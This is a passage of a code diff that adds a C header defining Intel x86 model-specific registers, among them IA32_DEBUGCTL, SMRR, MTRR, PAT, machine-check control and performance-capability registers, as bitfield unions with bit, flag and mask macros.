IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_VALUE(_) (((_) >> 16) & 0x7F) + + /** + * [Bit 23] Pkg Threshold \#2 Interrupt Enable. + */ + uint64_t threshold2_interrupt_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_BIT 23 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_FLAG 0x800000 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_THRESHOLD2_INTERRUPT_ENABLE(_) (((_) >> 23) & 0x01) + + /** + * [Bit 24] Pkg Power Limit Notification Enable. + */ + uint64_t power_limit_notification_enable : 1; +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_BIT 24 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_FLAG 0x1000000 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE_MASK 0x01 +#define IA32_PACKAGE_THERM_INTERRUPT_POWER_LIMIT_NOTIFICATION_ENABLE(_) (((_) >> 24) & 0x01) + uint64_t reserved3 : 39; + }; + + uint64_t flags; +} ia32_package_therm_interrupt_register; + + +/** + * Trace/Profile Resource Control. + * + * @remarks 06_0EH + */ +#define IA32_DEBUGCTL 0x000001D9 +typedef union +{ + struct + { + /** + * [Bit 0] Setting this bit to 1 enables the processor to record a running trace of the most recent branches taken by the + * processor in the LBR stack. + * + * @remarks 06_01H + */ + uint64_t lbr : 1; +#define IA32_DEBUGCTL_LBR_BIT 0 +#define IA32_DEBUGCTL_LBR_FLAG 0x01 +#define IA32_DEBUGCTL_LBR_MASK 0x01 +#define IA32_DEBUGCTL_LBR(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Setting this bit to 1 enables the processor to treat EFLAGS.TF as single-step on branches instead of single-step + * on instructions. + * + * @remarks 06_01H + */ + uint64_t btf : 1; +#define IA32_DEBUGCTL_BTF_BIT 1 +#define IA32_DEBUGCTL_BTF_FLAG 0x02 +#define IA32_DEBUGCTL_BTF_MASK 0x01 +#define IA32_DEBUGCTL_BTF(_) (((_) >> 1) & 0x01) + uint64_t reserved1 : 4; + + /** + * [Bit 6] Setting this bit to 1 enables branch trace messages to be sent. + * + * @remarks 06_0EH + */ + uint64_t tr : 1; +#define IA32_DEBUGCTL_TR_BIT 6 +#define IA32_DEBUGCTL_TR_FLAG 0x40 +#define IA32_DEBUGCTL_TR_MASK 0x01 +#define IA32_DEBUGCTL_TR(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Setting this bit enables branch trace messages (BTMs) to be logged in a BTS buffer. + * + * @remarks 06_0EH + */ + uint64_t bts : 1; +#define IA32_DEBUGCTL_BTS_BIT 7 +#define IA32_DEBUGCTL_BTS_FLAG 0x80 +#define IA32_DEBUGCTL_BTS_MASK 0x01 +#define IA32_DEBUGCTL_BTS(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] When clear, BTMs are logged in a BTS buffer in circular fashion. When this bit is set, an interrupt is generated + * by the BTS facility when the BTS buffer is full. + * + * @remarks 06_0EH + */ + uint64_t btint : 1; +#define IA32_DEBUGCTL_BTINT_BIT 8 +#define IA32_DEBUGCTL_BTINT_FLAG 0x100 +#define IA32_DEBUGCTL_BTINT_MASK 0x01 +#define IA32_DEBUGCTL_BTINT(_) (((_) >> 8) & 0x01) + + /** + * [Bit 9] When set, BTS or BTM is skipped if CPL = 0. + * + * @remarks 06_0FH + */ + uint64_t bts_off_os : 1; +#define IA32_DEBUGCTL_BTS_OFF_OS_BIT 9 +#define IA32_DEBUGCTL_BTS_OFF_OS_FLAG 0x200 +#define IA32_DEBUGCTL_BTS_OFF_OS_MASK 0x01 +#define IA32_DEBUGCTL_BTS_OFF_OS(_) (((_) >> 9) & 0x01) + + /** + * [Bit 10] When set, BTS or BTM is skipped if CPL > 0. + * + * @remarks 06_0FH + */ + uint64_t bts_off_usr : 1; +#define IA32_DEBUGCTL_BTS_OFF_USR_BIT 10 +#define IA32_DEBUGCTL_BTS_OFF_USR_FLAG 0x400 +#define IA32_DEBUGCTL_BTS_OFF_USR_MASK 0x01 +#define IA32_DEBUGCTL_BTS_OFF_USR(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] When set, the LBR stack is frozen on a PMI request. + * + * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t freeze_lbrs_on_pmi : 1; +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_BIT 11 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_FLAG 0x800 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_LBRS_ON_PMI(_) (((_) >> 11) & 0x01) + + /** + * [Bit 12] When set, each ENABLE bit of the global counter control MSR are frozen (address 38FH) on a PMI request. + * + * @remarks If CPUID.01H: ECX[15] = 1 && CPUID.0AH: EAX[7:0] > 1 + */ + uint64_t freeze_perfmon_on_pmi : 1; +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_BIT 12 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_FLAG 0x1000 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_PERFMON_ON_PMI(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] When set, enables the logical processor to receive and generate PMI on behalf of the uncore. + * + * @remarks 06_1AH + */ + uint64_t enable_uncore_pmi : 1; +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_BIT 13 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_FLAG 0x2000 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI_MASK 0x01 +#define IA32_DEBUGCTL_ENABLE_UNCORE_PMI(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] When set, freezes perfmon and trace messages while in SMM. + * + * @remarks If IA32_PERF_CAPABILITIES[12] = 1 + */ + uint64_t freeze_while_smm : 1; +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_BIT 14 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_FLAG 0x4000 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM_MASK 0x01 +#define IA32_DEBUGCTL_FREEZE_WHILE_SMM(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] When set, enables DR7 debug bit on XBEGIN. + * + * @remarks If (CPUID.(EAX=07H, ECX=0):EBX[11] = 1) + */ + uint64_t rtm_debug : 1; +#define IA32_DEBUGCTL_RTM_DEBUG_BIT 15 +#define IA32_DEBUGCTL_RTM_DEBUG_FLAG 0x8000 +#define IA32_DEBUGCTL_RTM_DEBUG_MASK 0x01 +#define IA32_DEBUGCTL_RTM_DEBUG(_) (((_) >> 15) & 0x01) + uint64_t reserved2 : 48; + }; + + uint64_t flags; +} ia32_debugctl_register; + + +/** + * @brief SMRR Base Address (Writeable only in SMM) + * + * SMRR Base Address. Base address of SMM memory range. + * + * @remarks If IA32_MTRRCAP.SMRR[11] = 1 + */ +#define IA32_SMRR_PHYSBASE 0x000001F2 +typedef union +{ + struct + { + /** + * @brief Type + * + * [Bits 7:0] Type. Specifies memory type of the range. + */ + uint64_t type : 8; +#define IA32_SMRR_PHYSBASE_TYPE_BIT 0 +#define IA32_SMRR_PHYSBASE_TYPE_FLAG 0xFF +#define IA32_SMRR_PHYSBASE_TYPE_MASK 0xFF +#define IA32_SMRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 4; + + /** + * [Bits 31:12] SMRR physical Base Address. + */ + uint64_t smrr_physical_base_address : 20; +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_BIT 12 +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_FLAG 0xFFFFF000 +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS_MASK 0xFFFFF +#define IA32_SMRR_PHYSBASE_SMRR_PHYSICAL_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_smrr_physbase_register; + + +/** + * @brief SMRR Range Mask (Writeable only in SMM) + * + * Range Mask of SMM memory range. + * + * @remarks If IA32_MTRRCAP[SMRR] = 1 + */ +#define IA32_SMRR_PHYSMASK 0x000001F3 +typedef union +{ + struct + { + uint64_t reserved1 : 11; + + /** + * [Bit 11] Enable range mask. + */ + uint64_t enable_range_mask : 1; +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_BIT 11 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_FLAG 0x800 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK_MASK 0x01 +#define IA32_SMRR_PHYSMASK_ENABLE_RANGE_MASK(_) (((_) >> 11) & 0x01) + + /** + * [Bits 31:12] SMRR address range mask. + */ + uint64_t smrr_address_range_mask : 20; +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_BIT 12 +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_FLAG 0xFFFFF000 +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK_MASK 0xFFFFF +#define IA32_SMRR_PHYSMASK_SMRR_ADDRESS_RANGE_MASK(_) (((_) >> 12) & 0xFFFFF) + uint64_t reserved2 : 32; + }; + + uint64_t flags; +} ia32_smrr_physmask_register; + + +/** + * DCA Capability. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_PLATFORM_DCA_CAP 0x000001F8 + + /** + * If set, CPU supports Prefetch-Hint type. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_CPU_DCA_CAP 0x000001F9 + + /** + * DCA type 0 Status and Control register. + * + * @remarks If CPUID.01H: ECX[18] = 1 + */ +#define IA32_DCA_0_CAP 0x000001FA +typedef union +{ + struct + { + /** + * [Bit 0] Set by HW when DCA is fuseenabled and no defeatures are set. + */ + uint64_t dca_active : 1; +#define IA32_DCA_0_CAP_DCA_ACTIVE_BIT 0 +#define IA32_DCA_0_CAP_DCA_ACTIVE_FLAG 0x01 +#define IA32_DCA_0_CAP_DCA_ACTIVE_MASK 0x01 +#define IA32_DCA_0_CAP_DCA_ACTIVE(_) (((_) >> 0) & 0x01) + + /** + * [Bits 2:1] TRANSACTION. + */ + uint64_t transaction : 2; +#define IA32_DCA_0_CAP_TRANSACTION_BIT 1 +#define IA32_DCA_0_CAP_TRANSACTION_FLAG 0x06 +#define IA32_DCA_0_CAP_TRANSACTION_MASK 0x03 +#define IA32_DCA_0_CAP_TRANSACTION(_) (((_) >> 1) & 0x03) + + /** + * [Bits 6:3] DCA_TYPE. + */ + uint64_t dca_type : 4; +#define IA32_DCA_0_CAP_DCA_TYPE_BIT 3 +#define IA32_DCA_0_CAP_DCA_TYPE_FLAG 0x78 +#define IA32_DCA_0_CAP_DCA_TYPE_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_TYPE(_) (((_) >> 3) & 0x0F) + + /** + * [Bits 10:7] DCA_QUEUE_SIZE. + */ + uint64_t dca_queue_size : 4; +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_BIT 7 +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_FLAG 0x780 +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_QUEUE_SIZE(_) (((_) >> 7) & 0x0F) + uint64_t reserved1 : 2; + + /** + * [Bits 16:13] Writes will update the register but have no HW side-effect. + */ + uint64_t dca_delay : 4; +#define IA32_DCA_0_CAP_DCA_DELAY_BIT 13 +#define IA32_DCA_0_CAP_DCA_DELAY_FLAG 0x1E000 +#define IA32_DCA_0_CAP_DCA_DELAY_MASK 0x0F +#define IA32_DCA_0_CAP_DCA_DELAY(_) (((_) >> 13) & 0x0F) + uint64_t reserved2 : 7; + + /** + * [Bit 24] SW can request DCA block by setting this bit. + */ + uint64_t sw_block : 1; +#define IA32_DCA_0_CAP_SW_BLOCK_BIT 24 +#define IA32_DCA_0_CAP_SW_BLOCK_FLAG 0x1000000 +#define IA32_DCA_0_CAP_SW_BLOCK_MASK 0x01 +#define IA32_DCA_0_CAP_SW_BLOCK(_) (((_) >> 24) & 0x01) + uint64_t reserved3 : 1; + + /** + * [Bit 26] Set when DCA is blocked by HW (e.g. CR0.CD = 1). + */ + uint64_t hw_block : 1; +#define IA32_DCA_0_CAP_HW_BLOCK_BIT 26 +#define IA32_DCA_0_CAP_HW_BLOCK_FLAG 0x4000000 +#define IA32_DCA_0_CAP_HW_BLOCK_MASK 0x01 +#define IA32_DCA_0_CAP_HW_BLOCK(_) (((_) >> 26) & 0x01) + uint64_t reserved4 : 37; + }; + + uint64_t flags; +} ia32_dca_0_cap_register; + +/** + * @defgroup ia32_mtrr_physbase \ + * IA32_MTRR_PHYSBASE(n) + * + * IA32_MTRR_PHYSBASE(0-9). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.3(Variable Range MTRRs)] + * @{ + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Specifies the memory type for the range. + */ + uint64_t type : 8; +#define IA32_MTRR_PHYSBASE_TYPE_BIT 0 +#define IA32_MTRR_PHYSBASE_TYPE_FLAG 0xFF +#define IA32_MTRR_PHYSBASE_TYPE_MASK 0xFF +#define IA32_MTRR_PHYSBASE_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 4; + + /** + * [Bits 47:12] Specifies the base address of the address range. This 24-bit value, in the case where MAXPHYADDR is 36 + * bits, is extended by 12 bits at the low end to form the base address (this automatically aligns the address on a 4-KByte + * boundary). + */ + uint64_t page_frame_number : 36; +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_BIT 12 +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define IA32_MTRR_PHYSBASE_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_mtrr_physbase_register; + +#define IA32_MTRR_PHYSBASE0 0x00000200 +#define IA32_MTRR_PHYSBASE1 0x00000202 +#define IA32_MTRR_PHYSBASE2 0x00000204 +#define IA32_MTRR_PHYSBASE3 0x00000206 +#define IA32_MTRR_PHYSBASE4 0x00000208 +#define IA32_MTRR_PHYSBASE5 0x0000020A +#define IA32_MTRR_PHYSBASE6 0x0000020C +#define IA32_MTRR_PHYSBASE7 0x0000020E +#define IA32_MTRR_PHYSBASE8 0x00000210 +#define IA32_MTRR_PHYSBASE9 0x00000212 +/** + * @} + */ + + /** + * @defgroup ia32_mtrr_physmask \ + * IA32_MTRR_PHYSMASK(n) + * + * IA32_MTRR_PHYSMASK(0-9). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.3(Variable Range MTRRs)] + * @{ + */ +typedef union +{ + struct + { + /** + * [Bits 7:0] Specifies the memory type for the range. + */ + uint64_t type : 8; +#define IA32_MTRR_PHYSMASK_TYPE_BIT 0 +#define IA32_MTRR_PHYSMASK_TYPE_FLAG 0xFF +#define IA32_MTRR_PHYSMASK_TYPE_MASK 0xFF +#define IA32_MTRR_PHYSMASK_TYPE(_) (((_) >> 0) & 0xFF) + uint64_t reserved1 : 3; + + /** + * [Bit 11] Enables the register pair when set; disables register pair when clear. + */ + uint64_t valid : 1; +#define IA32_MTRR_PHYSMASK_VALID_BIT 11 +#define IA32_MTRR_PHYSMASK_VALID_FLAG 0x800 +#define IA32_MTRR_PHYSMASK_VALID_MASK 0x01 +#define IA32_MTRR_PHYSMASK_VALID(_) (((_) >> 11) & 0x01) + + /** + * [Bits 47:12] Specifies a mask (24 bits if the maximum physical address size is 36 bits, 28 bits if the maximum physical + * address size is 40 bits). The mask determines the range of the region being mapped, according to the following + * relationships: + * - Address_Within_Range AND PhysMask = PhysBase AND PhysMask + * - This value is extended by 12 bits at the low end to form the mask value. + * - The width of the PhysMask field depends on the maximum physical address size supported by the processor. + * CPUID.80000008H reports the maximum physical address size supported by the processor. If CPUID.80000008H is not + * available, software may assume that the processor supports a 36-bit physical address size. + * + * @see Vol3A[11.11.3(Example Base and Mask Calculations)] + */ + uint64_t page_frame_number : 36; +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_BIT 12 +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define IA32_MTRR_PHYSMASK_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 16; + }; + + uint64_t flags; +} ia32_mtrr_physmask_register; + +#define IA32_MTRR_PHYSMASK0 0x00000201 +#define IA32_MTRR_PHYSMASK1 0x00000203 +#define IA32_MTRR_PHYSMASK2 0x00000205 +#define IA32_MTRR_PHYSMASK3 0x00000207 +#define IA32_MTRR_PHYSMASK4 0x00000209 +#define IA32_MTRR_PHYSMASK5 0x0000020B +#define IA32_MTRR_PHYSMASK6 0x0000020D +#define IA32_MTRR_PHYSMASK7 0x0000020F +#define IA32_MTRR_PHYSMASK8 0x00000211 +#define IA32_MTRR_PHYSMASK9 0x00000213 +/** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix \ + * IA32_MTRR_FIX(x) + * + * IA32_MTRR_FIX(x). + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + * @see Vol3A[11.11.2.2(Fixed Range MTRRs)] + * @{ + */ + /** + * @defgroup ia32_mtrr_fix64k \ + * IA32_MTRR_FIX64K(x) + * + * IA32_MTRR_FIX64K(x). + * @{ + */ +#define IA32_MTRR_FIX64K_BASE 0x00000000 +#define IA32_MTRR_FIX64K_SIZE 0x00010000 +#define IA32_MTRR_FIX64K_00000 0x00000250 + /** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix16k \ + * IA32_MTRR_FIX16K(x) + * + * IA32_MTRR_FIX16K(x). + * @{ + */ +#define IA32_MTRR_FIX16K_BASE 0x00080000 +#define IA32_MTRR_FIX16K_SIZE 0x00004000 +#define IA32_MTRR_FIX16K_80000 0x00000258 +#define IA32_MTRR_FIX16K_A0000 0x00000259 + /** + * @} + */ + + /** + * @defgroup ia32_mtrr_fix4k \ + * IA32_MTRR_FIX4K(x) + * + * IA32_MTRR_FIX4K(x). + * @{ + */ +#define IA32_MTRR_FIX4K_BASE 0x000C0000 +#define IA32_MTRR_FIX4K_SIZE 0x00001000 +#define IA32_MTRR_FIX4K_C0000 0x00000268 +#define IA32_MTRR_FIX4K_C8000 0x00000269 +#define IA32_MTRR_FIX4K_D0000 0x0000026A +#define IA32_MTRR_FIX4K_D8000 0x0000026B +#define IA32_MTRR_FIX4K_E0000 0x0000026C +#define IA32_MTRR_FIX4K_E8000 0x0000026D +#define IA32_MTRR_FIX4K_F0000 0x0000026E +#define IA32_MTRR_FIX4K_F8000 0x0000026F + /** + * @} + */ + + /** + * Architecture defined number of fixed range MTRRs (1 for 64k, 2 for 16k, 8 for 4k). + */ +#define IA32_MTRR_FIX_COUNT ((1 + 2 + 8) * 8) + + /** + * Architecture defined number of variable range MTRRs. + */ +#define IA32_MTRR_VARIABLE_COUNT 0x000000FF + + /** + * A size of array to store all possible MTRRs. + */ +#define IA32_MTRR_COUNT (IA32_MTRR_FIX_COUNT + IA32_MTRR_VARIABLE_COUNT) + /** + * @} + */ + + + /** + * IA32_PAT. + * + * @remarks If CPUID.01H: EDX.MTRR[16] = 1 + */ +#define IA32_PAT 0x00000277 +typedef union +{ + struct + { + /** + * [Bits 2:0] PA0. + */ + uint64_t pa0 : 3; +#define IA32_PAT_PA0_BIT 0 +#define IA32_PAT_PA0_FLAG 0x07 +#define IA32_PAT_PA0_MASK 0x07 +#define IA32_PAT_PA0(_) (((_) >> 0) & 0x07) + uint64_t reserved1 : 5; + + /** + * [Bits 10:8] PA1. + */ + uint64_t pa1 : 3; +#define IA32_PAT_PA1_BIT 8 +#define IA32_PAT_PA1_FLAG 0x700 +#define IA32_PAT_PA1_MASK 0x07 +#define IA32_PAT_PA1(_) (((_) >> 8) & 0x07) + uint64_t reserved2 : 5; + + /** + * [Bits 18:16] PA2. + */ + uint64_t pa2 : 3; +#define IA32_PAT_PA2_BIT 16 +#define IA32_PAT_PA2_FLAG 0x70000 +#define IA32_PAT_PA2_MASK 0x07 +#define IA32_PAT_PA2(_) (((_) >> 16) & 0x07) + uint64_t reserved3 : 5; + + /** + * [Bits 26:24] PA3. + */ + uint64_t pa3 : 3; +#define IA32_PAT_PA3_BIT 24 +#define IA32_PAT_PA3_FLAG 0x7000000 +#define IA32_PAT_PA3_MASK 0x07 +#define IA32_PAT_PA3(_) (((_) >> 24) & 0x07) + uint64_t reserved4 : 5; + + /** + * [Bits 34:32] PA4. + */ + uint64_t pa4 : 3; +#define IA32_PAT_PA4_BIT 32 +#define IA32_PAT_PA4_FLAG 0x700000000 +#define IA32_PAT_PA4_MASK 0x07 +#define IA32_PAT_PA4(_) (((_) >> 32) & 0x07) + uint64_t reserved5 : 5; + + /** + * [Bits 42:40] PA5. + */ + uint64_t pa5 : 3; +#define IA32_PAT_PA5_BIT 40 +#define IA32_PAT_PA5_FLAG 0x70000000000 +#define IA32_PAT_PA5_MASK 0x07 +#define IA32_PAT_PA5(_) (((_) >> 40) & 0x07) + uint64_t reserved6 : 5; + + /** + * [Bits 50:48] PA6. + */ + uint64_t pa6 : 3; +#define IA32_PAT_PA6_BIT 48 +#define IA32_PAT_PA6_FLAG 0x7000000000000 +#define IA32_PAT_PA6_MASK 0x07 +#define IA32_PAT_PA6(_) (((_) >> 48) & 0x07) + uint64_t reserved7 : 5; + + /** + * [Bits 58:56] PA7. + */ + uint64_t pa7 : 3; +#define IA32_PAT_PA7_BIT 56 +#define IA32_PAT_PA7_FLAG 0x700000000000000 +#define IA32_PAT_PA7_MASK 0x07 +#define IA32_PAT_PA7(_) (((_) >> 56) & 0x07) + uint64_t reserved8 : 5; + }; + + uint64_t flags; +} ia32_pat_register; + +/** + * @defgroup ia32_mc_ctl2 \ + * IA32_MC(i)_CTL2 + * + * MSR to enable/disable CMCI capability for bank n. + * + * @remarks If IA32_MCG_CAP[10] = 1 && IA32_MCG_CAP[7:0] > n + * @see Vol3B[15.3.2.5(IA32_MCi_CTL2 MSRs)] + * @{ + */ +#define IA32_MC0_CTL2 0x00000280 +#define IA32_MC1_CTL2 0x00000281 +#define IA32_MC2_CTL2 0x00000282 +#define IA32_MC3_CTL2 0x00000283 +#define IA32_MC4_CTL2 0x00000284 +#define IA32_MC5_CTL2 0x00000285 +#define IA32_MC6_CTL2 0x00000286 +#define IA32_MC7_CTL2 0x00000287 +#define IA32_MC8_CTL2 0x00000288 +#define IA32_MC9_CTL2 0x00000289 +#define IA32_MC10_CTL2 0x0000028A +#define IA32_MC11_CTL2 0x0000028B +#define IA32_MC12_CTL2 0x0000028C +#define IA32_MC13_CTL2 0x0000028D +#define IA32_MC14_CTL2 0x0000028E +#define IA32_MC15_CTL2 0x0000028F +#define IA32_MC16_CTL2 0x00000290 +#define IA32_MC17_CTL2 0x00000291 +#define IA32_MC18_CTL2 0x00000292 +#define IA32_MC19_CTL2 0x00000293 +#define IA32_MC20_CTL2 0x00000294 +#define IA32_MC21_CTL2 0x00000295 +#define IA32_MC22_CTL2 0x00000296 +#define IA32_MC23_CTL2 0x00000297 +#define IA32_MC24_CTL2 0x00000298 +#define IA32_MC25_CTL2 0x00000299 +#define IA32_MC26_CTL2 0x0000029A +#define IA32_MC27_CTL2 0x0000029B +#define IA32_MC28_CTL2 0x0000029C +#define IA32_MC29_CTL2 0x0000029D +#define IA32_MC30_CTL2 0x0000029E +#define IA32_MC31_CTL2 0x0000029F +typedef union +{ + struct + { + /** + * [Bits 14:0] Corrected error count threshold. + */ + uint64_t corrected_error_count_threshold : 15; +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_BIT 0 +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_FLAG 0x7FFF +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD_MASK 0x7FFF +#define IA32_MC_CTL2_CORRECTED_ERROR_COUNT_THRESHOLD(_) (((_) >> 0) & 0x7FFF) + uint64_t reserved1 : 15; + + /** + * [Bit 30] CMCI_EN. + */ + uint64_t cmci_en : 1; +#define IA32_MC_CTL2_CMCI_EN_BIT 30 +#define IA32_MC_CTL2_CMCI_EN_FLAG 0x40000000 +#define IA32_MC_CTL2_CMCI_EN_MASK 0x01 +#define IA32_MC_CTL2_CMCI_EN(_) (((_) >> 30) & 0x01) + uint64_t reserved2 : 33; + }; + + uint64_t flags; +} ia32_mc_ctl2_register; + +/** + * @} + */ + + + /** + * IA32_MTRR_DEF_TYPE. + * + * @remarks If CPUID.01H: EDX.MTRR[12] = 1 + */ +#define IA32_MTRR_DEF_TYPE 0x000002FF +typedef union +{ + struct + { + /** + * [Bits 2:0] Default Memory Type. + */ + uint64_t default_memory_type : 3; +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_BIT 0 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_FLAG 0x07 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE_MASK 0x07 +#define IA32_MTRR_DEF_TYPE_DEFAULT_MEMORY_TYPE(_) (((_) >> 0) & 0x07) + uint64_t reserved1 : 7; + + /** + * [Bit 10] Fixed Range MTRR Enable. + */ + uint64_t fixed_range_mtrr_enable : 1; +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_BIT 10 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_FLAG 0x400 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE_MASK 0x01 +#define IA32_MTRR_DEF_TYPE_FIXED_RANGE_MTRR_ENABLE(_) (((_) >> 10) & 0x01) + + /** + * [Bit 11] MTRR Enable. + */ + uint64_t mtrr_enable : 1; +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_BIT 11 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_FLAG 0x800 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE_MASK 0x01 +#define IA32_MTRR_DEF_TYPE_MTRR_ENABLE(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 52; + }; + + uint64_t flags; +} ia32_mtrr_def_type_register; + +/** + * @defgroup ia32_fixed_ctr \ + * IA32_FIXED_CTR(n) + * + * Fixed-Function Performance Counter n. + * + * @remarks If CPUID.0AH: EDX[4:0] > n + * @{ + */ + /** + * Counts Instr_Retired.Any. + */ +#define IA32_FIXED_CTR0 0x00000309 + + /** + * Counts CPU_CLK_Unhalted.Core + */ +#define IA32_FIXED_CTR1 0x0000030A + + /** + * Counts CPU_CLK_Unhalted.Ref + */ +#define IA32_FIXED_CTR2 0x0000030B + /** + * @} + */ + + + /** + * Read Only MSR that enumerates the existence of performance monitoring features. + * + * @remarks If CPUID.01H: ECX[15] = 1 + */ +#define IA32_PERF_CAPABILITIES 0x00000345 +typedef union +{ + struct + { + /** + * [Bits 5:0] LBR format. + */ + uint64_t lbr_format : 6; +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_BIT 0 +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_FLAG 0x3F +#define IA32_PERF_CAPABILITIES_LBR_FORMAT_MASK 0x3F +#define IA32_PERF_CAPABILITIES_LBR_FORMAT(_) (((_) >> 0) & 0x3F) + + /** + * [Bit 6] PEBS Trap. + */ + uint64_t pebs_trap : 1; +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_BIT 6 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_FLAG 0x40 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP_MASK 0x01 +#define IA32_PERF_CAPABILITIES_PEBS_TRAP(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] PEBSSaveArchRegs. + */ + uint64_t pebs_save_arch_regs : 1; +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_BIT 7 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_FLAG 0x80 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS_MASK 0x01 +#define IA32_PERF_CAPABILITIES_PEBS_SAVE_ARCH_REGS(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] PEBS Record Format. + */ + uint64_t pebs_record_format : 4; +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_BIT 8 +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_FLAG 0xF00 +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT_MASK 0x0F +#define IA32_PERF_CAPABILITIES_PEBS_RECORD_FORMAT(_) (((_) >> 8) & 0x0F) + + /** + * [Bit 12] Freeze while SMM is supported. + */ + uint64_t freeze_while_smm_is_supported : 1; +#define IA32_PERF_CAPABILITIES_FREEZE_WHILE_SMM_IS_SUPPORTED_BIT 12 +#define 